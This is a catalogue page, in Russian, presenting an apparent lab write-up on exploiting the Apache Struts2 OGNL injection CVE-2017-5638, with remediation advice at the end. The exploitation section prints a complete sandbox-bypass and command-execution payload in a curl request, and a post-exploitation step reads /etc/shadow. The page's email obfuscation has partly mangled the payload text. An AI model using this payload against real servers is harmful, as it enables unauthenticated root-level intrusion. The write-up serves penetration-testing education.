Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-5638 — Практическая лаборатория, демонстрирующая инъекцию OGNL в Apache Struts2 (CVE-2017-5638), с пошаговым анализом системы, эксплуатацией, обходом изолированной среды и техниками пост-эксплуатации для обучения тестированию на проникновение. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2017-5638
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

Практическая лаборатория, демонстрирующая инъекцию OGNL в Apache Struts2 (CVE-2017-5638), с пошаговым анализом системы, эксплуатацией, обходом изолированной среды и техниками пост-эксплуатации для обучения тестированию на проникновение.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

LAB 1 — Инъекция OGNL в Apache Struts2 (CVE-2017-5638 / S2-045)

I. АНАЛИЗ СИСТЕМЫ

Анализ поверхности атаки

image.png

После запуска контейнера логи Struts2 показывают, что приложение загружает знакомые конфигурационные файлы, такие как struts-default.xml, struts-plugin.xml и struts.xml. Это подтверждает, что используемый фреймворк — Apache Struts2.

image.png

Примечательный момент содержится в строке:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

Эта строка указывает, что Struts2 выбирает Jakarta multipart парсер (анализатор данных многокомпонентной загрузки) для обработки запросов типа multipart/form-data, который часто встречается в функциональности загрузки файлов.

Это критический сигнал при анализе S2-045 / CVE-2017-5638, поскольку эта уязвимость связана с процессом, в котором Struts2 обрабатывает ошибки при парсинге multipart запросов, особенно с недопустимым заголовком Content-Type.

Однако этот лог только доказывает, что приложение использует Struts2 и Jakarta-стиль multipart обработчика. Этого ещё недостаточно, чтобы сделать вывод, что приложение определённо уязвимо. Чтобы подтвердить, нам нужно определить версию struts2-core и сравнить её с диапазоном уязвимых версий.

image.png

image.png

image.png

При доступе к веб-сервису с помощью curl заголовки ответа показывают, что приложение работает на Jetty 9.2.11.v20150529. Эта информация помогает идентифицировать среду, в которой работает приложение (сервлет-контейнер), но не раскрывает напрямую версию Struts2.

Веб-интерфейс возвращает страницу Struts2 Showcase - Fileupload sample с формой загрузки, использующей:

method="POST" enctype="multipart/form-data" action="/upload.action"

Это соответствует более раннему логу, где Struts2 выбрал jakarta для MultiPartRequest: приложение действительно имеет поток обработки загрузки файлов через multipart/form-data.

⇒ Размышления: Точка входа /upload.action использует multipart/form-data, что соответствует механизму, который Struts2 обрабатывает через Jakarta MultiPartRequest. Это признак, усиливающий подозрение на S2-045/CVE-2017-5638, но нам нужно определить версию Struts2, прежде чем делать вывод, что приложение уязвимо. Далее всё ещё требуется более глубокая проверка версии struts2-core и того, как приложение обрабатывает ошибки при получении недопустимого Content-Type.

Определение версии Struts2

После выявления того, что приложение имеет конечную точку загрузки, использующую multipart/form-data, следующим шагом анализа является определение фактической версии Struts2. Это важно, потому что предыдущие признаки только показали, что приложение имеет механизм, связанный с multipart загрузкой, что ещё недостаточно для вывода о его уязвимости.

image.png

После определения правильного контейнера, обслуживающего Endpoint 8001, проверка библиотек выполняется непосредственно внутри контейнера project1-lab01-1.

В результате найден файл struts2-core:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

Из этого пути мы можем определить, что приложение использует Apache Struts2 2.3.30.

image.png

Сравнивая это с опубликованной уязвимостью CVE-2017-5638 / S2-045, она затрагивает многие старые версии Struts2, включая ветку 2.3.x до исправления. При объединении с:

Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data

Цепочка условий анализа становится яснее:

`Struts2 Version 2.3.30 < Version 2.3.32

  • Jakarta multipart parser + upload endpoint → The application is within the strong suspicion range of S2-045/CVE-2017-5638`

Однако с точки зрения анализа, уязвимая версия — это лишь свидетельство потенциальной подверженности. Для подтверждения на поведенческом уровне нам нужно отправить аномальный multipart запрос и наблюдать за ответом/логами, чтобы увидеть, попадает ли он в ветвь обработки ошибок multipart парсера Struts2.

⇒ Размышления: На этом этапе речь идёт уже не просто об идентификации фреймворка; версия 2.3.30 подтверждает, что приложение находится в диапазоне уязвимых версий S2-045/CVE-2017-5638. Оставшийся шаг — проверить поведение обработки ошибок multipart, чтобы завершить цепочку доказательств.

Проверка корректного потока обработки multipart

image.png

Нам нужно проверить, действительно ли запросы, отправленные на /upload.action, проходят через механизм обработки multipart в Struts2. Здесь я использую команду curl с опцией -F для проверки механизма обработки. И возвращённый результат разбивается на части:

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ Корректный запрос доказывает, что /upload.action действительно проходит через механизм multipart загрузки, потому что curl -F генерирует multipart/form-data, и сервер может разобрать каждую часть запроса.

    Проверка реакции при сбое multipart запроса

    image.png

    image.png

    После отправки запроса, который объявляет Content-Type как multipart/form-data, но с телом, не соответствующим структуре multipart, сервер всё равно возвращает HTTP 200 OK. Однако поля ContentType, FileName, File и Caption пусты. Проверяя логи Docker, мы замечаем, что нет границы (разделительной строки между частями в multipart), и клиент всё равно получает HTTP 200 OK. Однако Struts2 на самом деле столкнулся с ошибкой при обработке запроса.

    Это доказывает цепочку доказательств:

    Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary

    ⇒ Соответствует компонентам, связанным с S2-045/CVE-2017-5638. Таким образом, цепочка условий становится более полной: уязвимая версия, Jakarta парсер, конечная точка загрузки и некорректный запрос попадают в правильную ветвь обработки multipart.

    Критический момент S2-045/CVE-2017-5638 не только в том, что multipart парсер даёт сбой. Ошибка парсера — это лишь начальное условие запуска. Опасная часть заключается в том, как Struts2 впоследствии обрабатывает сообщение об ошибке. В уязвимых версиях Struts2, когда multipart парсер сталкивается с ошибкой, содержимое ошибки может быть передано в механизм обработки сообщений Struts2. Если злоумышленник контролирует часть данных, появляющихся в ошибке, особенно из заголовка Content-Type, эти данные могут быть вычислены Struts2 через OGNL (Object-Graph Navigation Language — язык выражений Struts/XWork).

    Размышления:

    Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE


    II. ЭКСПЛУАТАЦИЯ

    Выявив, что цель использует Struts2, и поскольку Struts2 использует OGNL в качестве движка выражений, поиск на PayloadsAllTheThings показывает, что внедрение new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) в Struts2 потерпит неудачу, потому что Struts2 имеет песочницу, блокирующую доступ к java.lang.Runtime.

    image.png

    ⇒ Соберите найденную полезную нагрузку в структуру эксплуатации Struts2:

    Запуск Jakarta Parser

    root@kitploit:~
    (#_="multipart/form-data")
    

    Обход песочницы Struts2 (Обязательно)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    Полезная нагрузка выполнения команд

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    Однако при выполнении полезной нагрузки на практике мы сталкиваемся с двумя проблемами:

    1. Ошибка версии Java: Сервер лаборатории работает на Jetty 2015 (Java 8), в то время как функция readAllBytes() поддерживается только начиная с Java 9. Если мы будем настаивать на её использовании, OGNL молча завершится ошибкой и вернёт пустую HTML-страницу. Это решается переходом на использование класса IOUtils из библиотеки org.apache.commons.io (всегда доступна в Struts2) для чтения потока.
    2. Фильтрация вывода: Даже если команда выполнилась, встраивание результата непосредственно в HTML-поток может нарушить структуру или быть отфильтрованным. Это решается прямым доступом к HttpServletResponse, использованием getWriter().println() для вывода результата, а затем вызовом flush() и close() для немедленного завершения соединения. Это заставляет сервер вернуть чистый результат выполнения команды, минуя весь мусорный HTML-интерфейс.

    ⇒ Пересобрав вышеуказанные изменения, мы получаем полную команду curl (с использованием ProcessBuilder + IOUtils + Response Writer):

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    Эксплуатация успешна!!!

    Хотя мы добились RCE с правами root, каждую команду приходится отправлять через отдельный HTTP-запрос, что обеспечивает неинтерактивную среду. Реверс-шелл позволяет установить постоянную сессию, напрямую взаимодействуя с целевой системой, как если бы мы сидели перед машиной, что служит для сбора информации и более глубокого пост-эксплуатационного анализа.


    III. ПОСТ-ЭКСПЛУАТАЦИЯ

    Проверка привилегий

    После успешной эксплуатации проверьте привилегии в системе:

    uid=0(root) gid=0(root) groups=0(root)

    → Приложение работает с правами root — повышение привилегий не требуется.

    Сбор конфиденциальных данных

    Чтение файла /etc/shadow (файла, содержащего хэши паролей, доступ к которому имеет только root):

    image.png

    → Доказывает, что атакующий имеет полный доступ на чтение/запись к системным файлам, включая самые конфиденциальные.

    Примечание о реверс-шелл

    Установка реверс-шелла не удалась, потому что контейнер Docker на Windows использует внутреннюю сеть (bridge/NAT); контейнер не может подключиться обратно к машине атакующего (Kali) в локальной LAN. Однако это не влияет на серьёзность уязвимости — атакующий добился RCE с правами root и может выполнять любые команды в системе.


    IV. ОЦЕНКА РИСКОВ И УСТРАНЕНИЕ

    Оценка рисков

    Уязвимость OGNL Injection (CVE-2017-5638 / S2-045) в этой системе оценивается как наивысший уровень риска:

    Рекомендации по устранению

    Чтобы полностью устранить эту уязвимость, команды системного администрирования и разработки должны реализовать следующие меры (в порядке приоритета):

    Срочные приоритеты (Краткосрочные):

    1. Обновление Apache Struts2: Немедленно обновить фреймворк до безопасной версии (≥ 2.3.32 или ≥ 2.5.10.1). Это обязательная мера, поскольку уязвимость находится в основной реализации библиотеки JakartaMultiPartRequest.
    2. Снижение привилегий выполнения: Никогда не запускать веб-приложения (Jetty/Tomcat) от пользователя root. Следует создать выделенного пользователя (например, struts_user) с минимальными привилегиями, необходимыми для запуска приложения.

    Высокие приоритеты (Долгосрочные и эшелонированная защита):

    1. Развертывание WAF (межсетевого экрана веб-приложений): Настройте правила WAF для обнаружения и блокировки HTTP-запросов, содержащих полезные нагрузки OGNL (например, %{...}, ${...}, ognl, java.lang.ProcessBuilder) в заголовке Content-Type.
    2. Смена multipart парсера: Если приложению не требуется использовать Jakarta Parser, рассмотрите возможность перехода на альтернативную библиотеку, такую как Pell или COS, в конфигурационном файле struts.xml (struts.multipart.parser=cos).
    3. Ограничение сетевого взаимодействия контейнера: Не оставляйте контейнер в общей сети bridge без необходимости. Настройте правила брандмауэра, чтобы заблокировать возможность контейнера активно инициировать исходящие соединения (исходящий трафик) в Интернет для предотвращения реверс-шеллов.
    Скачать инструмент
    КритерийОценкаДетали
    Балл CVSS10.0 (Критический)Максимальный абсолютный балл.
    АутентификацияНе требуетсяАтакующему не нужна учётная запись или вход в систему для эксплуатации.
    СложностьОчень низкаяТребуется только отправить один HTTP-запрос (POST), содержащий полезную нагрузку в заголовке Content-Type.
    Полученные привилегииrootПолный контроль над приложением/контейнером на наивысшем уровне привилегий с возможностью чтения/записи любого файла (например, /etc/shadow).
    Латеральное перемещениеВысокийИз скомпрометированного контейнера атакующий может сканировать внутреннюю сеть (LAN) и атаковать другие контейнеры или серверы хоста.